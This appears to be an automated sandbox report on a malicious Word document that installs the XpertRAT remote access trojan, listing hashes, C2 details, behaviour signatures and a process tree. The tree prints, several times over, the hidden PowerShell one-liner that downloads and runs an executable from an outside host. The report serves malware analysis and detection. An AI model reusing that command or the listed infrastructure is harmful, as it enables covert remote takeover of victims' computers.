Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    30-09-2021 08:53

General

  • Target

    Inq PO-000202120741.doc

  • Size

    535KB

  • MD5

    4ef6b1fa16f352e1969080579b832ee3

  • SHA1

    d4b85b188ad50ef69c1a238b979a1db7f0d4970d

  • SHA256

    29327d8089389d96e7ae1abcbd7c300ab587c59fa5841b748ef47e279d0c526b

  • SHA512

    85bb5bde53e6df3b759377ec1920a01281ca0f36bd477335759fdb5b043575628e7be11a960c0ff04188c2a17d4c51b9c43a6efeaf21b505a48c65311af026a3

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

httP://avira.ydns.eu/EXCEL.exe

Extracted

Family

xpertrat

Version

3.0.10

Botnet

Test

C2

kapasky-antivirus.firewall-gateway.net:4000

Mutex

L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • UAC bypass 3 TTPs
  • Windows security bypass 2 TTPs
  • XpertRAT

    XpertRAT is a remote access trojan with various capabilities.

  • XpertRAT Core Payload 2 IoCs
  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 6 IoCs
  • Windows security modification 2 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Inq PO-000202120741.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1376
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://avira.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:268
      • C:\Users\Admin\AppData\Roaming\EXCEL.exe
        "C:\Users\Admin\AppData\Roaming\EXCEL.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:428
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute twitch.com
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1444
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:540
        • C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
          C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
          4⤵
          • Executes dropped EXE
          • Windows security modification
          • Checks whether UAC is enabled
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • System policy modification
          PID:1868
          • C:\Program Files (x86)\Internet Explorer\iexplore.exe
            C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
            5⤵
            • Adds policy Run key to start application
            • Adds Run key to start application
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1200
            • C:\Windows\SysWOW64\notepad.exe
              notepad.exe
              6⤵
                PID:1424
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://avira.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
        2⤵
        • Process spawned unexpected child process
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1764
        • C:\Users\Admin\AppData\Roaming\EXCEL.exe
          "C:\Users\Admin\AppData\Roaming\EXCEL.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:468
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute twitch.com
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1432
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1164
          • C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
            C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
            4⤵
            • Executes dropped EXE
            • Windows security modification
            • Checks whether UAC is enabled
            • Suspicious use of SetWindowsHookEx
            • System policy modification
            PID:1156
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://avira.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
        2⤵
        • Process spawned unexpected child process
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1760
        • C:\Users\Admin\AppData\Roaming\EXCEL.exe
          "C:\Users\Admin\AppData\Roaming\EXCEL.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1228
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute twitch.com
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1324
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1000
          • C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
            C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
            4⤵
            • Executes dropped EXE
            • Windows security modification
            • Checks whether UAC is enabled
            • Suspicious use of SetWindowsHookEx
            • System policy modification
            PID:1524
      • C:\Windows\splwow64.exe
        C:\Windows\splwow64.exe 12288
        2⤵
          PID:928

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • C:\Users\Admin\AppData\Roaming\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • C:\Users\Admin\AppData\Roaming\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • C:\Users\Admin\AppData\Roaming\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • C:\Users\Admin\AppData\Roaming\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

        MD5

        ecfaebcb54319b58ed43fbd2ba573372

        SHA1

        b44215acc3eeeedf6ba19e9123f9bef5e638217c

        SHA256

        8e15f4bf5f1a8974bbcebedaec9dd164e6dff8bde3e2d65d0ac3451885e5852e

        SHA512

        2f4a6db897b49c7e9842a7c4cce409f1b5d03ed3b59ba962c266a79774dfcffff1f9f8f24a93710bc199e7c4a516d663c734c9eb83ec1d9a9dabe95d98a91384

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

        MD5

        ecfaebcb54319b58ed43fbd2ba573372

        SHA1

        b44215acc3eeeedf6ba19e9123f9bef5e638217c

        SHA256

        8e15f4bf5f1a8974bbcebedaec9dd164e6dff8bde3e2d65d0ac3451885e5852e

        SHA512

        2f4a6db897b49c7e9842a7c4cce409f1b5d03ed3b59ba962c266a79774dfcffff1f9f8f24a93710bc199e7c4a516d663c734c9eb83ec1d9a9dabe95d98a91384

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

        MD5

        ecfaebcb54319b58ed43fbd2ba573372

        SHA1

        b44215acc3eeeedf6ba19e9123f9bef5e638217c

        SHA256

        8e15f4bf5f1a8974bbcebedaec9dd164e6dff8bde3e2d65d0ac3451885e5852e

        SHA512

        2f4a6db897b49c7e9842a7c4cce409f1b5d03ed3b59ba962c266a79774dfcffff1f9f8f24a93710bc199e7c4a516d663c734c9eb83ec1d9a9dabe95d98a91384

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

        MD5

        ecfaebcb54319b58ed43fbd2ba573372

        SHA1

        b44215acc3eeeedf6ba19e9123f9bef5e638217c

        SHA256

        8e15f4bf5f1a8974bbcebedaec9dd164e6dff8bde3e2d65d0ac3451885e5852e

        SHA512

        2f4a6db897b49c7e9842a7c4cce409f1b5d03ed3b59ba962c266a79774dfcffff1f9f8f24a93710bc199e7c4a516d663c734c9eb83ec1d9a9dabe95d98a91384

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

        MD5

        ecfaebcb54319b58ed43fbd2ba573372

        SHA1

        b44215acc3eeeedf6ba19e9123f9bef5e638217c

        SHA256

        8e15f4bf5f1a8974bbcebedaec9dd164e6dff8bde3e2d65d0ac3451885e5852e

        SHA512

        2f4a6db897b49c7e9842a7c4cce409f1b5d03ed3b59ba962c266a79774dfcffff1f9f8f24a93710bc199e7c4a516d663c734c9eb83ec1d9a9dabe95d98a91384

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

        MD5

        ecfaebcb54319b58ed43fbd2ba573372

        SHA1

        b44215acc3eeeedf6ba19e9123f9bef5e638217c

        SHA256

        8e15f4bf5f1a8974bbcebedaec9dd164e6dff8bde3e2d65d0ac3451885e5852e

        SHA512

        2f4a6db897b49c7e9842a7c4cce409f1b5d03ed3b59ba962c266a79774dfcffff1f9f8f24a93710bc199e7c4a516d663c734c9eb83ec1d9a9dabe95d98a91384

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

        MD5

        ecfaebcb54319b58ed43fbd2ba573372

        SHA1

        b44215acc3eeeedf6ba19e9123f9bef5e638217c

        SHA256

        8e15f4bf5f1a8974bbcebedaec9dd164e6dff8bde3e2d65d0ac3451885e5852e

        SHA512

        2f4a6db897b49c7e9842a7c4cce409f1b5d03ed3b59ba962c266a79774dfcffff1f9f8f24a93710bc199e7c4a516d663c734c9eb83ec1d9a9dabe95d98a91384

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

        MD5

        ecfaebcb54319b58ed43fbd2ba573372

        SHA1

        b44215acc3eeeedf6ba19e9123f9bef5e638217c

        SHA256

        8e15f4bf5f1a8974bbcebedaec9dd164e6dff8bde3e2d65d0ac3451885e5852e

        SHA512

        2f4a6db897b49c7e9842a7c4cce409f1b5d03ed3b59ba962c266a79774dfcffff1f9f8f24a93710bc199e7c4a516d663c734c9eb83ec1d9a9dabe95d98a91384

      • \Users\Admin\AppData\Local\Temp\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • \Users\Admin\AppData\Local\Temp\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • \Users\Admin\AppData\Local\Temp\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • \Users\Admin\AppData\Roaming\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • \Users\Admin\AppData\Roaming\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • \Users\Admin\AppData\Roaming\EXCEL.exe

        MD5

        cb12b24b0f69225693168e9c35761a1b

        SHA1

        0f68f676d76e3546d7d625cdb14f0947c59beff5

        SHA256

        c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

        SHA512

        9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

      • memory/268-59-0x0000000002340000-0x0000000002341000-memory.dmp

        Filesize

        4KB

      • memory/268-57-0x0000000000000000-mapping.dmp

      • memory/268-60-0x0000000002341000-0x0000000002342000-memory.dmp

        Filesize

        4KB

      • memory/268-61-0x0000000002342000-0x0000000002344000-memory.dmp

        Filesize

        8KB

      • memory/428-124-0x0000000004290000-0x00000000042C0000-memory.dmp

        Filesize

        192KB

      • memory/428-68-0x0000000004840000-0x0000000004841000-memory.dmp

        Filesize

        4KB

      • memory/428-118-0x0000000000840000-0x000000000088F000-memory.dmp

        Filesize

        316KB

      • memory/428-66-0x0000000000390000-0x0000000000391000-memory.dmp

        Filesize

        4KB

      • memory/428-63-0x0000000000000000-mapping.dmp

      • memory/468-84-0x0000000000000000-mapping.dmp

      • memory/468-108-0x00000000041A0000-0x00000000041A1000-memory.dmp

        Filesize

        4KB

      • memory/540-72-0x0000000000000000-mapping.dmp

      • memory/540-103-0x00000000023A2000-0x00000000023A4000-memory.dmp

        Filesize

        8KB

      • memory/540-102-0x00000000023A1000-0x00000000023A2000-memory.dmp

        Filesize

        4KB

      • memory/540-79-0x00000000023A0000-0x00000000023A1000-memory.dmp

        Filesize

        4KB

      • memory/928-165-0x000007FEFC271000-0x000007FEFC273000-memory.dmp

        Filesize

        8KB

      • memory/928-164-0x0000000000000000-mapping.dmp

      • memory/1000-129-0x00000000023D2000-0x00000000023D4000-memory.dmp

        Filesize

        8KB

      • memory/1000-140-0x0000000004D40000-0x0000000005012000-memory.dmp

        Filesize

        2.8MB

      • memory/1000-128-0x00000000023D1000-0x00000000023D2000-memory.dmp

        Filesize

        4KB

      • memory/1000-127-0x00000000023D0000-0x00000000023D1000-memory.dmp

        Filesize

        4KB

      • memory/1000-119-0x0000000000000000-mapping.dmp

      • memory/1156-160-0x00000000004010B8-mapping.dmp

      • memory/1164-125-0x0000000002380000-0x0000000002FCA000-memory.dmp

        Filesize

        12.3MB

      • memory/1164-115-0x0000000000000000-mapping.dmp

      • memory/1164-123-0x0000000004C90000-0x0000000004F62000-memory.dmp

        Filesize

        2.8MB

      • memory/1164-120-0x0000000002380000-0x0000000002FCA000-memory.dmp

        Filesize

        12.3MB

      • memory/1164-126-0x0000000002380000-0x0000000002FCA000-memory.dmp

        Filesize

        12.3MB

      • memory/1200-138-0x0000000000401364-mapping.dmp

      • memory/1200-139-0x0000000000560000-0x00000000006B3000-memory.dmp

        Filesize

        1.3MB

      • memory/1200-137-0x0000000000400000-0x0000000000443000-memory.dmp

        Filesize

        268KB

      • memory/1228-86-0x0000000000000000-mapping.dmp

      • memory/1228-99-0x00000000049E0000-0x00000000049E1000-memory.dmp

        Filesize

        4KB

      • memory/1324-113-0x0000000002530000-0x000000000317A000-memory.dmp

        Filesize

        12.3MB

      • memory/1324-101-0x0000000000000000-mapping.dmp

      • memory/1324-114-0x0000000002530000-0x000000000317A000-memory.dmp

        Filesize

        12.3MB

      • memory/1376-56-0x0000000076A81000-0x0000000076A83000-memory.dmp

        Filesize

        8KB

      • memory/1376-53-0x0000000072D71000-0x0000000072D74000-memory.dmp

        Filesize

        12KB

      • memory/1376-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB

      • memory/1376-54-0x00000000707F1000-0x00000000707F3000-memory.dmp

        Filesize

        8KB

      • memory/1424-143-0x0000000000000000-mapping.dmp

      • memory/1432-111-0x00000000023F0000-0x000000000303A000-memory.dmp

        Filesize

        12.3MB

      • memory/1432-112-0x00000000023F0000-0x000000000303A000-memory.dmp

        Filesize

        12.3MB

      • memory/1432-92-0x0000000000000000-mapping.dmp

      • memory/1444-78-0x00000000022F0000-0x00000000022F1000-memory.dmp

        Filesize

        4KB

      • memory/1444-95-0x00000000022F1000-0x00000000022F2000-memory.dmp

        Filesize

        4KB

      • memory/1444-97-0x00000000022F2000-0x00000000022F4000-memory.dmp

        Filesize

        8KB

      • memory/1444-69-0x0000000000000000-mapping.dmp

      • memory/1524-154-0x00000000004010B8-mapping.dmp

      • memory/1760-104-0x00000000024C0000-0x000000000310A000-memory.dmp

        Filesize

        12.3MB

      • memory/1760-75-0x0000000000000000-mapping.dmp

      • memory/1760-107-0x00000000024C0000-0x000000000310A000-memory.dmp

        Filesize

        12.3MB

      • memory/1760-93-0x00000000024C0000-0x000000000310A000-memory.dmp

        Filesize

        12.3MB

      • memory/1764-73-0x0000000000000000-mapping.dmp

      • memory/1764-105-0x00000000024D0000-0x000000000311A000-memory.dmp

        Filesize

        12.3MB

      • memory/1868-131-0x0000000000400000-0x000000000042C000-memory.dmp

        Filesize

        176KB

      • memory/1868-132-0x00000000004010B8-mapping.dmp